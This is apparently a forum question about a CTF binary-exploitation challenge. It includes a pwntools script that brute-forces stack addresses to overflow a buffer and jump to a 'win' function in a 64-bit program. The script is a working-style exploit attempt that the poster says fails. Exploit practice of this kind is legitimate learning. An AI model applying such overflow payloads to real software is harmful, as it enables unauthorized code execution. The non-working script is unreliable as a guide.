I am trying to upsolve a challenge from a CTF I played but I just can't get it right. I think you have to somehow manage to use buffer overflow, but I can't see what I'm doing wrong since this works in gdb, I think it is because ASLR is enabled for the binary. I will leave a link here with the binary so you can look for yourself: here
So I'll try to explain my observations and what I tried:
We can see that the program takes in 2 inputs, does some calculations and spits up a number for you. But we can also see that the second input can be overflow since the first input is being fed into the strtoul
function. Well then let's do it! However this being a 64bit executable we have to put the address on the stack and after the leave
instruction we have to have our address on top of the stack so the ret
instruction will use it.
I found an address which worked in gdb
and I called the so-called win
function, you can see in the symbols of the binary. But this only worked in gdb
. So there must be another addres for the beginning of the buffer so I tried to brute-force it. And I made this script in python using pwntools
:
#!/usr/bin/python
from pwn import *
import struct
exec_path = './run.sh'
offset = 136
addr_win = 0x400687
addr_on_stack = 0x7fffffffeae8
for buffer_address in range(addr_on_stack - 1024, addr_on_stack + 1024, 8):
io = process(exec_path)
payload = struct.pack("Q", addr_win) + 'A' * 120 + struct.pack("Q", buffer_address)
log.info("Trying addess 0x{:0x} as buffer address".format(buffer_address))
log.info("payload is {}".format("".join("\\x{:02x}".format(ord(b)) for b in payload)))
io.sendline('1')
io.sendline(payload)
io.recvuntil("Now give me the prime directive: ")
with open("pay", "wb") as f:
f.write(payload)
msg = io.recvall(timeout=3)
print msg
if "your answer is" in msg or "Segmentation fault" in msg or "relocation error" in msg or "Inconsistency detected " in msg:
io.wait()
io.close()
io.kill()
continue
else:
break
io.interactive()
However after running this I still can't get it to call the function I want. I also tried to just change the last byte of the buffer start address but I can only overwrite it with \x00
because no matter how large the input, fgets will still put the null-byte at the end of the read string. Any ideas of how should I actually approach it?
I'm not sure if this is the correct site to post this, but I can't see anything on stackexchange where I should post questions like this and I'm really running out of ideas and want to learn more!